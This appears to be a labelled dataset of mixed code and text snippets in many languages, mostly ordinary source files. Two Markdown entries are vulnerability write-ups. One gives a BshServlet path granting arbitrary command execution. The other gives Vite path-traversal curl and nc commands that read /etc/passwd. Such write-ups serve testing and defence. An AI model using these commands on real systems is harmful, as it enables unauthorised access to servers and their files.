content
stringlengths
2
6.21k
label
stringclasses
16 values
गा। - डेटा सही ढंग से प्राप्त न होने की समस्या को हल करने के लिए क्लिस्ट रेटिंग की प्रत्येक अनुरोध पद्धति में सुधार करें - चैटजीपीटी अनुवाद प्रॉम्प्ट में सुधार करें और उस समस्या को ठीक करें जिसके कारण इंजेक्शन त्रुटियाँ हो सकती हैं जिसके परिणामस्वरूप अनुवाद परिणाम अपूर्ण हो सकते हैं। - बेहतर LaTeX प्रतिस्थापन/पुनर्स्था...
Markdown
ryShuffle ? DAG.getUNDEF(V1.getValueType()) : peekThroughBitcasts(Inputs[1])); MVT VT1 = V1.getSimpleValueType(); MVT VT2 = V2.getSimpleValueType(); MVT RootVT = Root.getSimpleValueType(); assert(VT1.getSizeInBits() == RootVT.getSizeInBits() && VT2.getSizeInBits() == RootV...
C++
M249 = { name = "M249", object = "Objects/Weapons/M249/M249_bind.cgf", character = "Objects/Weapons/M249/M249.cgf", BoneRightHand = "Bone67", BoneLeftHand = "Bone19", MaxZoomSteps = 1, ZoomSteps = { 1.4 }, ZoomActive = 0, AimMode=1, ZoomOverlayFunc=AimModeZoomHUD.DrawHUD, ZoomFixedFactor=1, ZoomNo...
Lua
param zNear * @param zFar */ public static void perspectiveM(float[] m, int offset, float fovy, float aspect, float zNear, float zFar) { float f = 1.0f / (float) Math.tan(fovy * (Math.PI / 360.0)); float rangeReciprocal = 1.0f / (zNear - zFar); m[offset + 0] = f / aspect; ...
Java
CheckingEnabledHandle); } return Messaging.bool_objc_msgSendSuper(base.SuperHandle, selIsContinuousSpellCheckingEnabledHandle); } [Export("setContinuousSpellCheckingEnabled:")] set { if (IsDirectBinding) { Messaging.void_objc_msgSend_bool(base.Handle, selSetContinuousSpellCheckingEnabled_Handle,...
C#
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * from alipay.aop.api.domain.ReferenceId import ReferenceId class AnttechBlockchainDefinSaasAgreementQueryModel(object): def __init__(self): self._out_member_id = None self._platform_memb...
Python
.UTC(2019, 0, 1) describe('time', () => { describe('formatDate', () => { it('возвращает отформатированную дату', () => { expect(formatDate(date)).toBe('01.01.2019') }) it('возвращает отформатированную дату с разделителем "-"', () => { expect(formatDate(date, { separator: '-' })).toBe('01-01-...
Typescript
TargetPlayer__2MRFPC15ActorCameraInfoPCcl ; 803ca208 -> 803ca25c startEventCamera__2MRFPC15ActorCameraInfoPCcRC15CameraTargetArgl ; 803ca25c -> 803ca2b0 startGlobalEventCameraNoTarget__2MRFPCcl ; 803ca2b0 -> 803ca30c startGlobalEventCameraTargetPlayer__2MRFPCcl ; 803ca30c -> 803ca35c startGlobalEventCamera__2MRFPCcRC15...
Assembly
t { FileItemModel } from '../models/file-item/file-item.model'; @Directive({ selector: '[appNgDropFiles]' }) export class NgDropFilesDirective { @Input() files: FileItemModel[] = []; @Output() mouseOver: EventEmitter<boolean> = new EventEmitter; constructor() { } @HostListener('dragover',['$event']) pu...
Typescript
(d1,vc1,d0,vc0)=(4,0,0,1) */ _v_add_co_u32 v132, vcc, v128, 1 // coord0.1: coord0 += d0*sg0*VW + vc0 v_cmp_lt_u32 s[64:65], v132, s[sgprSizeI] // coord0 < size0 v_cmp_lt_u32 s[38:39], v129, s[sgprSizeJ] // coord1 < size1 s_and_b64 s[38:39], s[64:65], s[38:39] // in0 && in...
Assembly
: // Increase the cost of instantiation of smart contract params := w.customWasmKeeper.GetParams(ctx) byteCode, err := w.wasmKeeper.GetByteCode(ctx, m.CodeID) if err != nil { return ctx, errorsmod.Wrapf(err, "failed to load bytecode for code id %d", m.CodeID) } codeSize := len(byteCode) baseGas...
Go
S_PIPELINE_INFO_EXT = 1000572013, VK_STRUCTURE_TYPE_GENERATED_COMMANDS_SHADER_INFO_EXT = 1000572014; public static final int VK_OBJECT_TYPE_INDIRECT_COMMANDS_LAYOUT_EXT = 1000572000, VK_OBJECT_TYPE_INDIRECT_EXECUTION_SET_EXT = 1000572001; pub...
Java
20=int64#16],>p20=int64#16 # asm 2: lduw [<table0=%g5+<p20=%o7],>p20=%o7 lduw [%g5+%o7],%o7 # qhasm: p33 = (uint32) y3 >> 20 # asm 1: srl <y3=int64#11,20,>p33=int64#23 # asm 2: srl <y3=%o1,20,>p33=%l6 srl %o1,20,%l6 # qhasm: z0 ^= p11 # asm 1: xor <z0=int64#14,<p11=int64#21,>z0=int64#14 # asm 2: xor <z0=%o4,<p11=%l4,...
Assembly
ry; j++ { pubKey, privKey, err := inet256.GenerateKey() if err != nil { panic(err) } addr := inet256.NewID(pubKey) if leading0s(addr[:]) > leading0s(addrs[i][:]) { addrs[i] = addr privKeys[i] = privKey if leading0s(addr[:]) >= goal { atomic.AddUint64(&count, uint6...
Go
/* * Copyright 2015 The Etc2Comp Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agr...
C
/* SPDX-FileCopyrightText: 2010-2018 Thomas Baumgart <tbaumgart@kde.org> SPDX-FileCopyrightText: 2010-2016 Cristian Oneț <onet.cristian@gmail.com> SPDX-FileCopyrightText: 2010 Alvaro Soliverez <asoliverez@gmail.com> SPDX-FileCopyrightText: 2017-2018 Łukasz Wojniłowicz <lukasz.wojnilowicz@gmail.com> ...
C
{ // ignore error when marked optional continue } return result, err } secrets[name] = secret } invalidKeys := []string{} for k, v := range secret.Data { if len(envFrom.Prefix) > 0 { k = envFrom.Prefix + k } if errMsgs := utilvalidation.IsEnvVarName(k); len(errM...
Go
"PortProtocols","value":"80/TCPUDP"},{"name":"kubernetes.io/elb.class","value":"union"},{"name":"kubernetes.io/elb.id","value":"c1d8f4c6-7aef-4596-8c7c-2de87ff89545"}]` return res }, want1: nil, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { clientMock := new(MockClient) if tt...
Go
l< ID2, ID4, T > func, [Out] T[] data, int count ) { getArray( id1, id2, id3, id4, 0, null, null, null, func, null, data, count, 1 ); } public static void getArray4Id< ID2, ID4, T >( int id1, ID2 id2, int id3, ID4 id4, getArray4IdDel< ID2, ID4, T > func, [Out] T[] data, int count, int tuple_size ) { getArra...
C#
ARSE elseif EGI_switch == UFCP_EGI_STATE_IDS.NAV and EGI_state == UFCP_EGI_STATE_IDS.ALIGNED then EGI_state = UFCP_EGI_STATE_IDS.NAV end if EGI_state == UFCP_EGI_STATE_IDS.ALIGNING or EGI_state == UFCP_EGI_STATE_IDS.ALIGNED_COARSE then if EGI_switch == UFCP_EGI_STATE_IDS.STHD or EGI_switch ...
Lua
_time0; MPI_Allreduce(&jacobi_ela,&jacobi_t,1,MPI_DOUBLE,MPI_SUM,MPI_COMM_WORLD);// Barrier j_t += jacobi_t/size; //--------------------------------------------------------------------------- k += 1; } all_time1 = MPI_Wtime();//---------------------Jacobi ...
C
*/ lwz r12, 0xc(r12) /* 80269A50 00266990 7D 89 03 A6 */ mtctr r12 /* 80269A54 00266994 4E 80 04 21 */ bctrl /* 80269A58 00266998 7F E3 FB 78 */ mr r3, r31 /* 80269A5C 0026699C 81 9F 00 00 */ lwz r12, 0(r31) /* 80269A60 002669A0 81 8C 01 DC */ lwz r12, 0x1dc(r12) /* 80269A64 002669A4 7D 89 03 A6 */ mtctr r12 /* ...
Assembly
前,你会遭到唾骂;在被证明正确之后,你会遭到一段时间的仇视,或者更糟的是,由于追溯失真,你的想法会显得“不足为奇”。 c:383 对过去保留一些尊重,对历史记录保留一些好奇,对老人的智慧保留一丝渴求,并掌握“启发法”的概念,这些不成文的经验法则对生存起到了决定性作用。换句话说,你将被迫重视能世代流传、能幸存下来的东西。 c:1124 对于会自然消亡的事物,生命每增加一天,其预期寿命就会缩短一些。而对于不会自然消亡的事物,生命每增加一天,则可能意味着更长的预期剩余寿命。 c:883 对于会自然消亡的事物,生命每增加一天,其预期寿命就会缩短一些。而对于不会自然消亡的事物,生命每增加一天,则可能意味着更长的预期剩余寿命。 c:43...
Markdown
7917f, 815.5538f, 199.70894f, (byte) 8); if (rtime > 1) { spawn(700543, 471, 853, 199f, (byte) 115); } if (rtime > 2) { spawn(700543, 477, 873, 199.7f, (byte) 109); } if (rtime > 3) { spawn(700543, 507, 899, 199.7f, (byte) 96); } if (rtime > 4) { spawn(700543, 548, 889, 1...
Java
yError` will be raised if the plugin type or plugin does not exist. Parent types are always included. Child plugins will only be included if a valid, non-blacklisted plugin is available. """ if not self.loaded: self.load_modules() # pylint: disable=protected-access...
Python
. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * ...
Java
0).build() to jsonObjectMapper.readValue<Any?>("""{"x":[{"value":10}]}"""), NadelResultPathBuilder().add("matrix").add(0).add("x").build() to jsonObjectMapper.readValue<Any?>("""[{"value":10}]"""), NadelResultPathBuilder().add("matrix").add(0).add("x").add(0).buil...
Kotlin
"json_field2" => Value::Bytes("value3".into()) })), ), // ignore non-map root-level fields ( "%{notSpace:standalone_field} %{data::integer}", r#"value1 1"#, Ok(Value::from(btreemap! { "standalone_fiel...
Rust
![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWV3D3pqyDRNN5IibjictibzCXpiaxLlCPia3Sx03IfnYptu5PhsLELDC5nXU4uKgIB4K1tFQf6IHhO8qcA/640?wx_fmt=png&from=appmsg "") ## ## 三、编写脚本确定是否存在漏洞 ### 漏洞复现: 该漏洞复现非常简单,只需要在ip后加上/servlet/~ic/bsh.servlet.BshServlet,就可以进入shell界面任意执行命令如下: ![](https://mmbiz.qpic.cn/sz...
Markdown
using UnityEngine; using UnityEditor; using UnityEditorInternal; [CustomEditor(typeof(UAI_Action))] public class UAI_ActionInspector : Editor { private ReorderableList considerationList; private void OnEnable() { considerationList = new ReorderableList(serializedObject, ...
C#
ie-js-sdk/src/document/crdt/root'; import { InitialChangeID } from '@yorkie-js-sdk/src/document/change/change_id'; import { ChangeContext } from '@yorkie-js-sdk/src/document/change/context'; import { CRDTTree, CRDTTreeNode, CRDTTreeNodeID, CRDTTreePos, toXML, } from '@yorkie-js-sdk/src/document/crdt/tree'; /...
Typescript
-title > .actions .btn-default:hover, .portlet.box.red-haze > .portlet-title > .actions .btn-default:focus, .portlet.box.red-haze > .portlet-title > .actions .btn-default:active, .portlet.box.red-haze > .portlet-title > .actions .btn-default.active { border: 1px solid #fef3f2; color: white; } /* Statistic Block */...
CSS
/* SPDX-License-Identifier: GPL-2.0 OR Linux-OpenIB */ /* Copyright (c) 2020 Mellanox Technologies. */ #ifndef __MLX5_EN_REP_NEIGH__ #define __MLX5_EN_REP_NEIGH__ #include "en.h" #include "en_rep.h" #if IS_ENABLED(CONFIG_MLX5_CLS_ACT) int mlx5e_rep_neigh_init(struct mlx5e_rep_priv *rpriv); void mlx5e_rep_neigh_clea...
C
(2, n) ); } /** * Duplicate this sound * * @see {@link Sound.duplicateSound} */ duplicate() { return Sound.duplicateSound(this); } /** * Fades out a sound according to its release value. Useful for sustained sounds. * * @return {Promise<Sound>} */ fadeOut(): Promise<Sound> { const now = ct...
Typescript
bled Animals PoacherChest = 45753, PoacherNotes = 45754, FeathersCount = 45755, Feathers1 = 45756, Feathers2 = 45757, Feathers3 = 45758, Feathers4 = 45759, Feathers5 = 45760 }, Mission02 = {45761, -- Nightmare Intruders FrazzlemawsCount = 45762, EnfeebledCount ...
Lua
char; answer[1] = (b'1' + (square / 10 - 2)) as char; answer } pub fn update_pieces (cboard: &mut chessboard) { unsafe { for index in &chocolate[..playable_size] { let piece = cboard.layout[*index as usize]; if piece != piece::Empty as u8 { cboard.piece_lis...
Rust
): void => { this.themeChangeListeners = this.themeChangeListeners.filter( l => l !== listener ) } public applyCurrentTheme = (): void => { if (typeof window !== "undefined") { this.setRootElement( document.getElementById(this.rootElementId) ?? document.documentElement ) ...
Typescript
!", desc = "功能開啟後,戰術學院課程完成時推送提示至設備" }, { id = 6, title = "放學了喵", content = "大講堂放學了喵!該準備下一次的課程了喵……", desc = "功能開啟後,大講堂熟練度消耗完畢時推送提示至設備" }, { id = 7, title = "研發結束喵", content = "科研項目「$1」的研發時間結束了喵!快來確認一下進度喵!", desc = "功能開啟後,科研項目研發完成時推送提示至設備" }, { id = 8, title = "新進展喵", content = "研究中的$1有新的進展了...
Lua
l_8037EA0C: /* 8037EA0C 0037A66C 88 1F 00 C0 */ lbz r0, 0xc0(r31) /* 8037EA10 0037A670 7C 1D 00 40 */ cmplw r29, r0 /* 8037EA14 0037A674 41 82 00 1C */ beq lbl_8037EA30 /* 8037EA18 0037A678 80 7F 07 C0 */ lwz r3, 0x7c0(r31) /* 8037EA1C 0037A67C 2C 03 00 00 */ cmpwi r3, 0 /* 8037EA20 0037A680 41 82 00 0C */ beq lb...
Assembly
') then return '' end local r,f='',(base64CharTable:find(x)-1) for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end return r; end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x) if (#x ~= 8) then return '' end
Lua
c. BasicBlock 基本块 Basic Block类 BB中包含了一系列指令,可以通过getTerminator()方法获取最后一条指令。 以通过CFG,例如通过getSinglePredecessor()方法,访问前一个BB。 d. Instruction 指令 它的确切功能可以通过getOpcode()来获取,它返回代表LLVM IR操作码的llvm::Instruction枚举的成员。 也可以通过op_begin()和op_end()来获取操作数,这两个方法继承自User类。 ...
Markdown
/*============================================================================== Program: 3D Slicer Copyright (c) Kitware Inc. See COPYRIGHT.txt or http://www.slicer.org/copyright/copyright.txt for details. Unless required by applicable law or agreed to in writing, software distributed under the License...
C
using System; using System.Threading.Tasks; using NServiceBus; using Quartz; using Quartz.Impl; using Quartz.Logging; class Program { static async Task Main() { Console.Title = "Scheduler"; var endpointConfiguration = new EndpointConfiguration("Samples.QuartzScheduler.Scheduler"); endp...
C#
key: CoachMarkKey, toolTipPlacement: ToolTipPlacement, tooltipAnimationSpec: AnimationSpec<Float> = CoachMarkDefaults.ToolTip.animationSpec, highlightedViewConfig: HighlightedViewConfig = HighlightedViewConfig(), tooltip: @Composable (() -> Unit)? = null ): Modifier = with(coachMarkScope) { enableCo...
Kotlin
## メディアオブジェクトの反転 画像が右で文章が左になるようにメディアオブジェクトの表示を切り替えるには、`flex-direction` プロパティに `row-reverse` を指定します。 この例では、 `flipped` クラスを `media` クラスの隣に追加しました。 HTML からクラスを除去すると、表示がどのように変化するかが分かります。 ```html-nolint live-sample___media-flipped <div class="media flipped"> <div class="image"> <img alt="青空に色とりどりの風船が映える" ...
Markdown
collect(Collectors.joining(",")); Assert.assertTrue(collect.startsWith("TEST_KYLIN_FACT.CC_AUTO_")); } } /* * test points: 1. support propose more than one cc * 2. tolerance of failed sql * 3. unsupported sql in current calcite version but can propos...
Java
posedExpr=c:2:14 Extent=[141:8 - 141:9] // CHECK: 141:8: DeclRefExpr=c:2:14 Extent=[141:8 - 141:9] // CHECK: 141:13: UnexposedExpr= Extent=[141:13 - 141:19] // CHECK: 141:13: IntegerLiteral= Extent=[141:13 - 141:19] // CHECK: 141:23: BinaryOperator=== Extent=[141:23 - 141:34] // CHECK: 141:23: UnexposedExpr=c:2:14 Exte...
C++
export const alphabetFrequency = [ { char: 'A', frequency: 8.15, }, { char: 'B', frequency: 1.44, }, { char: 'C', frequency: 2.76, }, { char: 'D', frequency: 3.79, }, { char: 'E', frequency: 13.11, }...
Typescript
"https://mail.google.com/".to_string(), )) // This example will be running its own server at localhost:8080. // See below for the server implementation. .set_redirect_url(RedirectUrl::new( Url::parse("http://localhost:8080").expect("Invalid redirect URL"), )); // Generate the authoriz...
Rust
recipeBuilder().duration(25).EUt(8).inputs(new ItemStack(Blocks.NETHER_BRICK)).outputs(new ItemStack(Blocks.STONE_SLAB, 2, 6)).buildAndRegister(); RecipeMaps.CUTTER_RECIPES.recipeBuilder().duration(100).EUt(16).inputs(new ItemStack(Blocks.GLOWSTONE)).outputs(OreDictUnifier.get(OrePrefix.plate, Materials.Glowsto...
Java
Zmllcg== QnVmZmVyU2l6ZQ== w59lcg== IEFza2Vk J11dLAo= IHNoaWVsZHM= Z3JhbmQ= IFRvd25zaGlw IFB1Yk1lZA== ZWN0bA== Zml2ZQ== IFJlYWN0aXZlRm9ybXNNb2R1bGU= IEdMZW51bQ== RGFy aWZhY2U= LWluZGVudA== Rm9ybXVsYQ== LnNuYXBzaG90 Q09NUEFSRQ== IGJlbHRz CWNhY2hl bGRhdGE= IGVkYWQ= IEJPWA== KGNhcnQ= X0xBWU9VVA== IGZmbHVzaA== IExPUw== IFNv...
JavaScript
(PropWriteStream& stream, const Item* item) { const Container* container = item->getContainer(); // Write ID & props stream.ADD_USHORT(item->getID()); item->serializeAttr(stream); if(container){ // Hack our way into the attributes stream.ADD_UCHAR(ATTR_CONTAINER_ITEMS); stream.ADD_ULONG(containe...
C++
53380', '中国报禁怎样开', '中国报禁怎样开'}, {'53381', '邵长良', '邵长良'}, {'53382', '邓力群', '邓力群'}, {'53383', 'NTDTV', 'NTDTV'}, {'53384', '李新德', '李新德'}, {'53385', '浦志强', '浦志强'}, {'53386', '外蒙回歸', '外蒙回歸'}, {'53387', '郭飞熊', '郭飞熊'}, {'53388', '杨茂东', '杨茂东'}, {'53389', '袁伟时', '袁伟时'}, {'53390', '江棋生', '江棋生'}, {'53391', '王通智', '王通智'}, {'53392'...
Lua
from django.conf import settings from django_telethon.importer import import_attribute def get_telethon_config(key, default=None): """Fetch configuration from DJANGO_TELETHON in Django settings.""" return getattr(settings, 'DJANGO_TELETHON', {}).get(key, default) # Retrieve configuration values RABBITMQ_AC...
Python
0 0 0 0M 0M 0M", "[2024-11-19T09:48:57.418-0600][info ][gc,reloc ] GC(5) y: Large Pages: 0 0 0 0M 0M 0M", "[2024-11-19T09:48:57.418-0600][info ][gc,reloc ] GC...
Java
| | dark | 弹出层 深色 | `boolean` | `false` | - | | shadow | 显示阴影 | `boolean` | `false` ...
Markdown
System.String The first string to use in the comparison. indexA Type: System.Int32 The starting index of the substring in strA. strB Type: System.String The second string to use in the comparison. indexB Type: System.Int32 The starting index of the substring in strB. length Type: System.Int...
Dart
void Call(NotificationPermission permission, ErrorResult& aRv, ExceptionHandling aExceptionHandling = eReportExceptions) { CallSetup s(this, aRv, aExceptionHandling); if (!s.GetContext()) { aRv.Throw(NS_ERROR_UNEXPECTED); return; } return Call(s.GetContext(), JS::UndefinedHandleValue, p...
C
lient_proto_rawDescGZIP(), []int{27} } func (x *CPublishedFile_AddAppRelationship_Request) GetPublishedfileid() uint64 { if x != nil && x.Publishedfileid != nil { return *x.Publishedfileid } return 0 } func (x *CPublishedFile_AddAppRelationship_Request) GetAppid() uint32 { if x != nil && x.Appid != nil { retu...
Go
ogress:"Γίνεται ορθογραφικός έλεγχος...",title:"Ορθογραφικός Έλεγχος",toolbar:"Ορθογραφικός Έλεγχος"});CKEDITOR.plugins.setLang("wsc","km",{btnIgnore:"មិនផ្លាស់ប្តូរ",btnIgnoreAll:"មិនផ្លាស់ប្តូរ ទាំងអស់",btnReplace:"ជំនួស",btnReplaceAll:"ជំនួសទាំងអស់",btnUndo:"សារឡើងវិញ",changeTo:"ផ្លាស់ប្តូរទៅ",errorLoading:"Error l...
JavaScript
}, buffList = { 8001, 8002 } }, { monsterTemplateID = 12100406, score = 0, delay = 0, moveCast = true, corrdinate = { 30, 0, 45 }, buffList = { 8001, 8002 } }, { m...
Lua
( max-width: $breakpoint ) { @content; } } @else { @if $size == $and-larger { $approved-value: 2; @media ( min-width: $breakpoint + 1 ) { @content; } } @else { @each $breakpoint-end in $breakpoints { $range: $breakpoint + "-" + $breakpoint-end; @if $size ...
CSS
ray to begin writing.</param> /// <param name="count">The integer count of doubles to write.</param> public static void WriteLe(this Stream stream, double[] values, int startIndex, int count) { var bytes = new byte[count * 8]; Buffer.BlockCopy(values, startIndex * 8, byte...
C#
components/tooltip"; @import "components/translatable_input"; @import "components/unavailable-feature"; @import "components/typeahead_product_collection_type"; @import "components/skeleton"; // Pages specifics SCSS files @import "pages/invoices"; @import "pages/meta"; @import "pages/import_data"; @import "pages/curren...
CSS
'train', **kwargs): B_l = len(coords_large) if mode=='train': if H < 0: H_l = int(np.sqrt(B_l)) W_l = B_l // H_l assert H_l * W_l == B_l else: H_l = H W_l = W else: H_l = B_l ...
Python
args[1]||'').match(/^(--)?help$/) ) { showHelp(who); return; } if(playerIsGM(msg.playerid)) { page = getObj('page', whoChar.get('lastpage')); if(page) { page.set({ showlighting: true }); sendChat('','/w gm It is now <b>Nighttime</b> on '+page.get('nam...
JavaScript
e R8 (ARG4) */ /* RAX will contain EEXIT on exit */ /* RCX will contain TCS.AEP on exit */ movq 6*8(%rsp), %rdx /* Restore user-space RDX (ARG2) */ movq 7*8(%rsp), %rsi /* Restore user-space RSI (ARG1) */ movq 8*...
Assembly
_with_network = '%account (%network)', account_settings = '%account_with_network Настройки', account_form_error = 'Грешка при зареждането на формата за този профил. Грешка: %s', no_account_settings = 'Няма настройки за този профил+', stream_created = 'Потока е създаден', stream_updated = 'Потока е обновен', ...
Lua
['abc']}) .delete({prop8: ['def']}) .remove(['prop3']) .set({prop7: ['abd']}) .subtract({prop6: 10}) .data((attr, op) => { op.add(attr.prop6, 1); op.append(attr.prop7, ['abc']); op.delete(attr.prop8, ['def']); op.remove(attr.prop6); op.set(attr.prop7, ['abd']); op.subtract(attr.prop6,...
Typescript
上运行的相关模型: | 操作 | 模型 | | :-----------------------------------------------------: | :----------------------------------------------------------: | | Deformable Convolution/Modulated Deformable Convolution | DCN、Guided A...
Markdown
DT_QINT32, DT_QINT16, DT_QUINT16]} } }"); ExpectSuccess(b().Attr("a:{quantizedtype ,string}"), "attr: { name: 'a' type: 'type' allowed_values { list { type: " "[DT_QINT8, DT_QUINT8, DT_QINT32, DT_QINT16, DT_QUINT16, " "DT_STRING]} } }"); ExpectSuccess(b().Attr("a:{s...
C++
; protected static Gson gson = null; public AdAssetFeedSpecLinkURL() { } public String getId() { return null; } public static AdAssetFeedSpecLinkURL loadJSON(String json, APIContext context, String header) { AdAssetFeedSpecLinkURL adAssetFeedSpecLinkURL = getGson().fromJson(json, AdAssetFeedSpecLi...
Java
47758] = "卡德加的凯旋肩饰", [47759] = "卡德加的凯旋法袍", [47760] = "卡德加的凯旋护腿", [47761] = "卡德加的凯旋兜帽", [47762] = "卡德加的凯旋护手", [47763] = "逐日者的凯旋护手", [47764] = "逐日者的凯旋罩帽", [47765] = "逐日者的凯旋护腿", [47766] = "逐日者的凯旋法袍", [47767] = "逐日者的凯旋衬肩", [47768] = "逐日者的凯旋衬肩", [47769] = "逐日者的凯旋法袍", [47770] = "逐日者的凯旋护腿", [47771] = "逐日者的凯旋罩帽", [47772] = "逐日...
Lua
'_log'); logger.warn('message'); expect(_log).toHaveBeenCalled(); }); it('loggea error', () => { let _log = spyOn(logger, '_log'); logger.error('message'); expect(_log).toHaveBeenCalled(); }); it('debe retornar fecha valida', () => { let date = UTILS.getTimestamp(); let valid = ...
Typescript
RSScreenRenderNode>(); int32_t logicalScreenWidth = static_cast<int32_t>(node.GetRenderProperties().GetFrameWidth()); int32_t logicalScreenHeight = static_cast<int32_t>(node.GetRenderProperties().GetFrameHeight()); if (logicalScreenWidth <= 0 || logicalScreenHeight <= 0) { logicalScreenWidth = stat...
C++
Complete: // that's ok case *pgproto3.ReadyForQuery: break recvLoop case *pgproto3.ErrorResponse: return nil, fmt.Errorf("error describing slice portal: \"%s\"", q.Message) case *pgproto3.NoData: rd.nodata = pgNoData case *pgproto3.CloseComplete: saveCloseComplete = q case *pgproto3.RowDescrip...
Go
unittest.expect(casted43['list'], unittest.equals([1, 2, 3])); unittest.expect(casted43['bool'], unittest.equals(true)); unittest.expect(casted43['string'], unittest.equals('foo')); } core.List<core.String> buildUnnamed128() => ['foo', 'foo']; void checkUnnamed128(core.List<core.String> o) { unittest.expect(o...
Dart
import nltk from nltk.corpus import stopwords from nltk.tokenize import word_tokenize from nltk.stem.snowball import SnowballStemmer class TextParser: def __init__(self): nltk.download('punkt') nltk.download('stopwords') self.stemmers = { 'english': SnowballStemmer('english'), ...
Python
) } if err = sh.immTables.Close(); err != nil { t.Fatal(err) } lockPath := "" sh.immTables = immutable.NewTableStore(sh.filesPath, &lockPath, &sh.tier, true, immutable.NewTsStoreConfig()) sh.immTables.SetImmTableType(config.TSSTORE) if _, err = sh.immTables.Open(nil); err != nil { t.Fatal(err) } for nam...
Go
fn from(err: E) -> Self { GroupUserAddFailed::InternalError(ate::utils::obscure_error(err)) } } <reponame>pixunil/tiny-transport<filename>import/src/service/importer.rs use std::collections::HashMap; use std::error::Error; use std::rc::Rc; use super::{Service, ServiceExceptionRecord, ServiceId, Service...
Rust
erTestContext(PurchaseTestInput purchaseTestInput, OrderTestContextConfigurator orderTestContextConfigurator) { PurchaseTestInput = purchaseTestInput; IsPromoCodePurchase = orderTestContextConfigurator.FreePurchaseSpecification.Or(orderTestContextConfigurator.PromotionalPurchaseSpecification). ...
C#
ON // webView.settings.cacheMode= WebSettings.LOAD_NO_CACHE webView.isClickable = false webView.isFocusable = false webView.isFocusableInTouchMode = false webView.setOnTouchListener { v, event -> if (event != null) { (activity as MainActivity).gesture...
Kotlin
:justify;justify-content:space-between;padding:20px 25px;background:#ffffff}.kt-footer .kt-footer__copyright{display:-webkit-box;display:-ms-flexbox;display:flex;margin:0;padding:0 0 0 1.25rem;font-size:1rem;font-weight:400;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start;color:#a7abc3}.kt-footer ....
CSS
Bit,%cl andl $255,%eax andl $255,%ecx sarl %cl,%eax andl $1,%eax addl $4,%esp testb %al,%al je .L512 movl $1,%ecx movb %cl,APU_Carry jmp .L513 .L512: movb %al,APU_Carry .L513: movl APUPC,%eax addl $3,%eax movl %eax,APUPC ret ApuOpCA: movl APUPC,%eax movw 1(%eax),%ax andl $65535,%eax movl %eax,%edx ...
Assembly
pub fn join_components(&mut self, j: usize) { let Lambda: HashSet<_> = (0..self.M.count()) .filter(|l| { self.M_star.borrow().get(*l, j).unwrap() == 1 && self.M_star.borrow().get(j, *l).unwrap() == 1 }) .collect(); let lambda ...
Rust
�鸨子卖到了山西洪洞县沈大财主家。沈大财主之妻与人私通,毒死财主并嫁祸苏三,县官收了银子,将苏三屈打成招。恰巧此时王景隆高中进士,被派到山西为官,恰好又看到了苏三的案子,然后派人重审此案,苏三才得昭雪,两人终成眷属。 再来说说《苏三不要哭》。 >马老爷子说,这是二十世纪四十年代的歌,距今比较遥远的一个年代。我听完之后,感觉整个歌基本就表达了一个意思:怀抱琵琶一块儿跑!跟谁跑?跟琵琶跑!为啥跑?不知道!跑哪去?南洋群岛?哈尔滨?山东?广西?上海?湖北?也不知道,反正就是跑。整个歌词让人听的云里雾里,接下来,我们看看完整的歌词: > ``` 我想去南洋群岛 怀抱琵琶一块跑 我想到哈尔滨去 找那亲亲小娇娇 起身时雨真不小 可恨天气...
Markdown
ed_linger - dt end if self._wanted_speed_linger and self._wanted_speed_linger <= 0 then self._wanted_speed_linger = nil end if self._speed > self._max_speed then self._max_speed = self._speed end self._list_offset_y = self._list_offset_y + self._speed * dt end function CreditsMenuPage:_update_container_si...
Lua
ge(args.spellId, "orange", CL.casting:format(args.spellName)) self:PlaySound(args.spellId, "alarm") end -- Heartsbane Vinetwister function mod:GraspingThorns(args) self:Message(args.spellId, "yellow", CL.casting:format(args.spellName)) local _, interruptReady = self:Interrupter() if interruptReady then self:Pl...
Lua
y are internal to imgui.cpp and not exposed outside (to avoid messing with your types) // In this example we are not using the maths operators! ImDrawList* draw_list = ImGui::GetWindowDrawList(); // Primitives ImGui::Text("Primitives"); static float sz = 36.0f; static float thickness = 4.0f; ...
C++
dow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 # 验证漏洞是否存在 curl "http://[目标IP]:5173/@fs/etc/passwd"  # 应返回403错误 curl --request-target "/@fs/x/#/../../../../../etc/passwd" "http://[目标IP]:5173"  # 如果返回文件内容,则存在漏洞 ``` **Windows系统利用示例** : ``` ounter(lineounter(lineounter(lineounter...
Markdown
===t&&Ce(e.attrs,0,""),p(e)):(f=s.__cssModules)&&(f=f[t])?f:o!==n&&u(o,t)?(l[t]=4,o[t]):(h=c.config.globalProperties,u(h,t)?h[t]:void 0)},set({_:e},t,o){const{data:r,setupState:i,ctx:a}=e;return eo(i,t)?(i[t]=o,!0):r!==n&&u(r,t)?(r[t]=o,!0):!u(e.props,t)&&(("$"!==t[0]||!(t.slice(1)in e))&&(a[t]=o,!0))},has({_:{data:e,s...
JavaScript
火墙、DDoS防护 | 阻断恶意流量 | | 应用层 | WAF、API网关 | 防止应用攻击 | | 数据层 | 加密、脱敏 | 保护敏感数据 | | 业务层 | 反作弊、风控 | 防止业务欺诈 | #### 7.1.2 安全控制矩阵 ```mermaid graph TD A[安全威胁] --> B[网络攻击] A --> C[数据泄露] A --> D[业务欺诈] A --> E[权限滥用] B --> F[DDoS防护] B --> G[入侵检测] C --> H[数据加密] C --> I[访问控...
Markdown
e.Name); description.Append(GetParameters(param.ParameterType)); if (param.DefaultValue == null) description.Append(" = Nothing"); else description.Append(" = " + param.DefaultValue); description.Append(", "); } //remove trailing...
C#
o cg/@sddlZddlZddZdS)Ncs(tddtfdd}|S)ze Wrap a method such that when it is called, the args and kwargs are saved on the method. args_and_kwargsz args kwargscs6dj}||}t|...
Python
